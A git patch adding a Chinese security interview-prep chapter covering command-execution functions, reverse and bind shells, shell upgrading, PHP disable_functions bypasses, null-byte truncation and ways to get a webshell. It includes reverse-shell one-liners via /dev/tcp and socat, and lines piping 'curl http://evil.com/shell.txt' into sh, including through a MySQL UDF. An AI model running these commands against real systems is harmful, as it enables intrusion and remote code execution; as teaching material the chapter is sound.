From c77f8aed23a40bfefe27c7bdcf12aad5a3e54d40 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:54:33 +0800 Subject: [PATCH] Add files via upload --- Chapter13/13-1.md | 122 ++++++++++++++++++++++++++++++++++++++++++++ Chapter13/13-2.md | 47 +++++++++++++++++ Chapter13/13-3.md | 107 ++++++++++++++++++++++++++++++++++++++ Chapter13/13-4.md | 76 +++++++++++++++++++++++++++ Chapter13/13-5.md | 34 ++++++++++++ Chapter13/13-6.md | 42 +++++++++++++++ Chapter13/README.md | 19 +++++++ 7 files changed, 447 insertions(+) create mode 100644 Chapter13/13-1.md create mode 100644 Chapter13/13-2.md create mode 100644 Chapter13/13-3.md create mode 100644 Chapter13/13-4.md create mode 100644 Chapter13/13-5.md create mode 100644 Chapter13/13-6.md diff --git a/Chapter13/13-1.md b/Chapter13/13-1.md new file mode 100644 index 0000000..0e77581 --- /dev/null +++ b/Chapter13/13-1.md @@ -0,0 +1,122 @@ +### 代码执行、命令执行的函数有哪些 + +**PHP** + +在 PHP 中,有很多函数可以执行系统命令或代码。它们是 PHP 漏洞利用中最常见的攻击入口 + +**命令执行函数** + +- `exec()`: 执行一个外部程序,不返回输出结果,通常需要使用参数获取 + + ```php + exec('whoami', $output); + print_r($output); + ``` + +- `passthru()`: 直接将命令的输出传递到浏览器 + + ```php + passthru('ls -la'); + ``` + +- `shell_exec()`: 通过 shell 执行命令,并将整个输出结果作为字符串返回 + + ```php + $output = shell_exec('id'); + echo $output; + ``` + +- `system()`: 执行外部程序并显示输出 + + ```php + system('netstat -an'); + ``` + +- `popen()` 和 `proc_open()`: 都可以打开一个进程文件指针,允许对进程进行双向 I/O 操作 + + ``` + $handle = popen('ls', 'r'); + ``` + +- `pcntl_exec()`: 在 PHP CLI 环境中,用新的程序替换当前进程 + +**代码执行函数** + +- `eval()`: 将字符串作为 PHP 代码来执行。这是最常见的代码执行漏洞函数 + + ```php + $code = $_GET['code']; + eval($code); + ``` + +- `assert()`: 在 PHP 7.2 之前,`assert()` 函数可以执行字符串参数 + + ```php + assert($_POST['pass']); + ``` + +- `create_function()`: 用于创建一个匿名函数 + + ```php + $func = create_function('', 'return ' . $_GET['pass'] . ';'); + $func(); + ``` + +- `call_user_func()` 和 `call_user_func_array()`: 调用一个用户函数,如果参数是用户可控的,可以用来执行任意函数 + +- `array_map()`: 将回调函数作用到给定数组的每个元素上 + +- `unserialize()`: 反序列化函数,如果序列化数据中包含一个恶意对象,可以导致对象注入,从而触发魔术方法(如 `__destruct()`),最终实现代码执行 + +**Python** + +Python 的 Web 应用中也经常出现类似的问题 + +**命令执行函数** + +- `os.system()`: 执行 shell 命令 + +- `os.popen()`: 执行 shell 命令,并返回一个文件对象 + +- `subprocess` 模块: 这是更安全、更现代的模块,但如果参数处理不当,同样会造成命令注入 + + ```python + import subprocess + cmd = 'ls ' + user_input + subprocess.call(cmd, shell=True) # 当 shell=True 时,可能存在命令注入 + ``` + +**代码执行函数** + +- `eval()`: 将字符串作为表达式来执行 + + ```python + result = eval('1 + 1') + ``` + +- `exec()`: 执行动态代码 + +- `pickle.loads()`: 反序列化模块,如果反序列化恶意数据,可能导致代码执行 + +**Java** + +在 Java 中,直接执行系统命令的函数相对较少,但依然存在 + +**命令执行函数** + +- `Runtime.getRuntime().exec()`: 在单独的进程中执行指定的字符串命令 + + ```java + Runtime.getRuntime().exec("ls -la"); + ``` + +- `java.lang.ProcessBuilder`: 创建一个操作系统进程 + + ```java + new ProcessBuilder("ls", "-la").start(); + ``` + +**代码执行** + +- `ScriptEngine`:Java 脚本引擎,可以执行 JavaScript 等脚本语言 +- 反序列化:Java 的反序列化漏洞通常是由于 `readObject()` 方法处理不当,结合 `Commons-Collections` 等库中的链式调用,最终实现命令执行 \ No newline at end of file diff --git a/Chapter13/13-2.md b/Chapter13/13-2.md new file mode 100644 index 0000000..243c24e --- /dev/null +++ b/Chapter13/13-2.md @@ -0,0 +1,47 @@ +### 正向 Shell 和反向 Shell 的区别 + +**正向 Shell (Bind Shell)** + +**工作原理** + +1. 攻击者在目标主机上执行恶意代码,该代码会开启一个端口并监听,等待连接 +2. 攻击者随后从自己的机器上,向目标主机的这个监听端口发起连接 +3. 一旦连接建立,攻击者就可以通过这个连接发送命令,并在自己的终端上接收目标主机的输出 + +``` + A[攻击者] --主动发起连接--> B[目标主机: 监听端口] + B --命令输出--> A +``` + +**优点** + +- **简单**:一旦端口在目标主机上打开,攻击者就可以直接连接。 + +**缺点** + +- **防火墙限制**:这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙,会阻止来自外部的入站连接。目标主机的端口通常是关闭的,或者被严格限制 +- **IP 地址不确定**:如果目标主机的 IP 是动态的,攻击者很难持续连接 + +**反向 Shell (Reverse Shell)** + +**工作原理** + +1. 攻击者首先在自己的机器上,开启一个端口并监听,等待连接 +2. 攻击者在目标主机上执行恶意代码,该代码会主动连接攻击者的监听端口 +3. 一旦连接建立,攻击者就可以通过这个连接向目标主机发送命令,并接收命令输出 + +``` + A[攻击者: 监听端口] --等待连接--> B[目标主机] + B --主动发起连接--> A + A --命令--> B + B --命令输出--> A +``` + +**优点** + +- **绕过防火墙**:这是反向 Shell 最大的优势。防火墙通常只阻止入站连接,但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙 +- **IP 地址不确定**:即使目标主机的 IP 是动态的,只要它能主动连接到攻击者的固定 IP 地址,连接就可以成功建立 + +**缺点** + +- **复杂性**:攻击者需要有一个公网 IP 或能够通过端口转发,才能在自己的机器上成功监听 \ No newline at end of file diff --git a/Chapter13/13-3.md b/Chapter13/13-3.md new file mode 100644 index 0000000..4182728 --- /dev/null +++ b/Chapter13/13-3.md @@ -0,0 +1,107 @@ +### 如何从非交互的 Shell 提升为交互 Shell + +方法一:使用 Python PTY 模块(最常用) + +如果目标系统安装了 Python,这是最简单、最可靠的方法 + +1. **执行命令:** 在你的非交互shell中输入并执行以下命令: + + ```bash + python -c 'import pty; pty.spawn("/bin/bash")' + ``` + + 这条命令会调用 Python 的`pty`模块,创建一个伪终端,并执行`/bin/bash` + +2. **设置终端:** 此时,你已经获得了一个基本的交互式 shell,但可能仍然存在一些显示问题。接下来,需要通过以下命令进一步完善: + + ```bash + # 这一步是设置环境变量,让终端知道自己是什么类型 + export TERM=xterm + + # 这一步是后台运行stty命令,捕获终端信号 + stty raw -echo + ``` + + **注意:** 最后一条命令 `stty raw -echo` 执行后,你的输入可能不会立即显示。这是正常的,你需要继续操作 + +3. **背景化(可选):** 此时你的 shell 仍在前台,可以将其发送到后台: + + ```bash + Ctrl + Z + ``` + + 然后回到你自己的攻击机终端,执行以下命令,将 shell 重新拉回前台: + + ```bash + stty raw echo + fg + ``` + + 现在,你拥有了一个功能完整的、带有 `Tab` 补全、上下箭头和 `Ctrl+C` 功能的交互式 shell + +**方法二:使用 `script` 命令** + +`script` 命令用于记录终端会话,但也可以用来提升 shell + +1. **执行命令:** + + ```bash + script /dev/null + ``` + + 这条命令会启动一个新的 shell,并将所有输出写入 `/dev/null`。这实际上创建了一个新的伪终端 + +2. **完成设置:** + + ```bash + Ctrl + C + export SHELL=bash + export TERM=xterm + reset + ``` + + **注意:** 这种方法有时可能不稳定,并且在某些系统上可能不适用 + +**方法三:使用 `socat`** + +`socat`是一个功能强大的网络工具,可以用于在两个位置之间建立双向数据流 + +1. **攻击机(监听端):** 在你的攻击机上,使用 `socat` 监听一个端口 + + ```bash + socat file:`tty`,raw,echo=0 tcp-listen:4444 + ``` + +2. **目标机(执行端):** 在非交互式 Shell中,使用 `socat` 连接到你的攻击机 + + ```bash + socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:4444 + ``` + +3. **优势:** `socat` 的方法非常强大,可以创建非常稳定的交互式 Shell,并能处理各种终端信号 + +**方法四:使用 `rlwrap`(需要安装)** + +`rlwrap` 是一个命令行工具,它可以为任何程序添加 `readline` 功能,包括历史记录和行编辑 + +1. **攻击机(监听端):** + + ```bash + nc -lvnp 4444 + ``` + +2. **目标机(执行端):** + + ```bash + bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1 + ``` + + 此时,你获得了非交互式 Shell + +3. **攻击机(提升 shell):** 在你自己的攻击机上,使用 `rlwrap` 重新连接到目标主机,就可以获得一个带有历史记录和补全功能的 Shell + + ```bash + rlwrap nc -v <目标机IP> 4444 + ``` + + **注意:** 这需要 `rlwrap` 工具在你的攻击机上已经安装 \ No newline at end of file diff --git a/Chapter13/13-4.md b/Chapter13/13-4.md new file mode 100644 index 0000000..62609fe --- /dev/null +++ b/Chapter13/13-4.md @@ -0,0 +1,76 @@ +### PHP disable_functions() 绕过方法 + +**1. LD_PRELOAD 环境变量劫持** + +**原理:** `LD_PRELOAD` 是一个环境变量,它允许用户在程序运行前指定一个或多个动态链接库(.so文件)。这些库中的函数会优先于系统默认的库被加载。我们可以利用这一点,编写一个恶意的动态链接库,其中包含一个与常用系统函数(如 `getuid`、`geteuid` 等)同名的恶意函数 + +**绕过步骤:** + +1. 编写一个 C 语言恶意代码,利用 `__attribute__((constructor))` 在库加载时执行系统命令,并将其编译成一个 `.so` 文件 +2. 在 PHP 中,通过 **`putenv()`** 函数设置 `LD_PRELOAD` 环境变量,指向我们恶意的 `.so` 文件 +3. 触发一个可以调用系统函数的 PHP 函数,例如 `mail()` 或 `exec()`。当这个函数被调用时,`LD_PRELOAD` 就会生效,我们的恶意代码会被执行 + +这种方法非常有效,但前提是 `putenv()` 或类似的函数没有被禁用,并且目标服务器支持动态链接 + +**2. ImageMagick 命令执行漏洞** + +**漏洞名称:** CVE-2016-3714 (ImageTragick) **原理:** ImageMagick 是一个用于创建、编辑和转换图像的流行开源软件。该漏洞允许攻击者通过处理一个特制的图像文件(例如 SVG、MVG 格式)来执行任意系统命令 + +**绕过步骤:** + +1. 制作一个恶意的 SVG 或 MVG 格式图像文件,其中嵌入了命令执行 Payload。例如:`"push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/)'"`,`url()` 后面可以接 `file://` 或 `http://` 等协议,通过 `pipe` 触发命令 +2. 在 PHP 中,如果使用了 **`Imagick`** 扩展来处理上传的图像文件,当调用 `readImage()` 或 `pingImage()` 等函数时,就会触发漏洞,执行恶意 Payload + +这种方法主要针对使用了特定软件版本且存在漏洞的目标,属于典型的“Nday”漏洞利用 + +**3. Windows 系统组件 COM 绕过** + +**原理:** 在 Windows 环境下,**`COM`** (Component Object Model) 是一个重要的技术。PHP 的 `COM` 扩展可以用来创建和调用 COM 组件。其中,`WScript.Shell` 这个组件可以用来执行系统命令 + +**绕过步骤:** + +1. 在 PHP 代码中,通过 `new COM('WScript.shell')` 创建一个 `WScript.Shell` 对象 +2. 调用这个对象的 `run()` 或 `exec()` 方法来执行命令。例如:`$shell = new COM('WScript.shell'); $shell->Run('cmd.exe /c "whoami"');` +3. 这种方法依赖于 PHP 的 `COM` 扩展是否启用,以及目标服务器是否是 Windows 系统 + +**4. PHP 7.4 FFI 绕过** + +**原理:** **`FFI`** (Foreign Function Interface) 是 PHP 7.4 引入的一个扩展,允许 PHP 代码直接调用 C 语言的函数和数据结构,而无需编写额外的 C 语言扩展。这大大增强了 PHP 的能力,同时也带来了安全风险 + +**绕过步骤:** + +1. 使用 `FFI::cdef()` 函数加载 `libc` 库,并定义 `system` 或 `exec` 函数 +2. 然后就可以像调用 PHP 函数一样调用 C 语言的 `system` 函数来执行命令 +3. 例如:`$ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('whoami');` +4. 这种方法非常强大,但前提是 `FFI` 扩展已启用且未被禁用 + +**5. Bash 破壳漏洞** + +**漏洞名称:** CVE-2014-6271 (Shellshock) **原理:** 这是一个在 Bash 4.3 及更早版本中的高危漏洞。它允许攻击者通过环境变量,向 Bash 注入并执行任意代码 + +**绕过步骤:** + +1. 在 PHP 中,使用 `putenv()` 设置一个特殊的恶意环境变量 +2. 例如:`putenv("test=() { :;}; echo 'VULNERABLE'");` +3. 随后,调用任何可以调用 Bash 的函数,例如 `mail()` 或 `exec()`。当 Bash 被调用时,它会解析环境变量,触发漏洞,执行恶意 Payload + +**6. `imap_open()` 绕过** + +**漏洞名称:** CVE-2018-19518 **原理:** 在 PHP 5.x 和 7.x 版本中,`imap_open()` 函数存在一个漏洞。当处理一个特定的 IMAP 协议 URL 时,它会调用 `rsh` 或 `ssh` 命令来连接远程服务器,从而导致命令执行 + +**绕过步骤:** + +1. 在 PHP 中调用 `imap_open()` 函数,并传入一个恶意构造的 IMAP URL +2. 例如:`imap_open('-oProxyCommand=whoami', 'a', 'a');` +3. `-oProxyCommand` 是一个 SSH 选项,它允许在连接前执行命令。`imap_open()` 会调用 `rsh` 或 `ssh`,从而触发这个命令执行 +4. 这种方法依赖于目标服务器上 `imap` 扩展是否启用 + +**7. `pcntl` 插件绕过** + +**原理:** **`pcntl`** 是 PHP 的一个进程控制扩展,它提供了一系列与进程相关的函数,例如 `pcntl_exec()` + +**绕过步骤:** + +1. `pcntl_exec()` 函数可以用来在当前进程中执行一个指定的程序 +2. 例如:`pcntl_exec('/bin/sh', array('-c', 'whoami'));` +3. `pcntl_exec()` 会直接替换当前 PHP 进程,而不会像 `system()` 那样创建一个新的子进程。这种方法非常隐蔽,且通常不被 `disable_functions` 列表所限制 \ No newline at end of file diff --git a/Chapter13/13-5.md b/Chapter13/13-5.md new file mode 100644 index 0000000..2d760ce --- /dev/null +++ b/Chapter13/13-5.md @@ -0,0 +1,34 @@ +### PHP 的 %00 截断的原理 + +当 PHP 脚本在调用某些文件操作函数(如 `include()`、`require()`、`file_get_contents()` 等)时,底层会调用 C 语言的库函数。在 C 语言中,字符串是以**空字节(null byte)**作为结束符的,即十六进制的 `0x00`。当 C 语言函数读取到 `0x00` 时,就会认为字符串已经结束 + +而 PHP 脚本在处理用户输入时,并不会像 C 语言那样将 `%00` 解析为空字节,它会将其当作普通的字符串。但是,当这个字符串被传入底层 C 语言函数进行文件操作时,C 语言会截断这个字符串,只处理 `%00` 之前的部分 + +假设服务器上有一个 PHP 脚本,其代码如下: + +```php + +``` + +这段代码的本意是让用户通过 `file` 参数指定一个文件名,然后脚本会在文件名后面自动加上 `.php` 后缀,再包含这个文件 + +现在,如果攻击者想要利用这个漏洞来包含一个图片文件 `shell.jpg`(其中包含恶意 PHP 代码),他可以构造一个带有 `%00` 截断的 URL: + +``` +http://example.com/index.php?file=shell.jpg%00 +``` + +当 PHP 脚本接收到这个 URL 时: + +1. **PHP 层**: + - `$file` 的值是 `shell.jpg%00` + - `$file . ".php"` 拼接后的字符串是 `shell.jpg%00.php` +2. **C 语言底层**: + - 当 `include()` 函数将 `shell.jpg%00.php` 这个字符串传递给底层的 C 语言文件操作函数时,C 语言会把 `%00` 识别为空字节(`\0`) + - 根据 C 语言的字符串处理规则,它会认为字符串在 `shell.jpg` 处就已经结束了 + - 最终,操作系统实际打开的文件名是 `shell.jpg`,而不是 `shell.jpg.php` + +这样一来,攻击者就成功绕过了 `.php` 后缀的限制,实现了对 `shell.jpg` 的文件包含,从而执行了图片中的恶意代码 \ No newline at end of file diff --git a/Chapter13/13-6.md b/Chapter13/13-6.md new file mode 100644 index 0000000..c78246a --- /dev/null +++ b/Chapter13/13-6.md @@ -0,0 +1,42 @@ +### 站库分离怎么拿 Shell + +**1. SQL 注入结合文件上传或文件写入漏洞** + +即使无法直接写入 `webshell`,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等 + +**渗透思路:** + +- 利用SQL注入读取网站的配置文件,获取文件上传路径 +- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`) +- 结合文件上传漏洞,上传精心构造的 `webshell` + +**2. 利用数据库的写权限进行命令执行** + +在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()`、`SELECT ... INTO DUMPFILE` 等函数,将恶意代码写入到 Web 服务器的可写目录中 + +**渗透思路:** + +- **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件,寻找可写的目录路径 +- **写入`webshell`**: 尝试使用`SELECT '' INTO DUMPFILE '/var/www/html/upload/shell.php'` 将 `webshell` 代码写入到Web服务器的 `upload` 目录 +- **注意**: 这种方法需要数据库用户具有 `file_priv` 权限,并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下,这种配置是**不推荐**的,但仍有可能存在 + +**3. 利用 Web 服务器自身的漏洞** + +这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)**或**文件包含(LFI/RFI)**等高危漏洞 + +**渗透思路:** + +- **远程命令执行(RCE)**: 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如`curl http://evil.com/shell.txt | sh`,下载并执行恶意脚本,从而获取反弹`shell`或写入`webshell` +- **文件包含(LFI/RFI)**: 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器,从而执行恶意代码 + +**4. 通过数据库的 UDF 函数提权** + +如果攻击者在数据库上拥有足够高的权限(例如`root`),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令 + +**渗透思路:** + +- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限 +- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录 +- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令 +- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')` +- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器 \ No newline at end of file diff --git a/Chapter13/README.md b/Chapter13/README.md index 8b13789..9eecb4f 100644 --- a/Chapter13/README.md +++ b/Chapter13/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字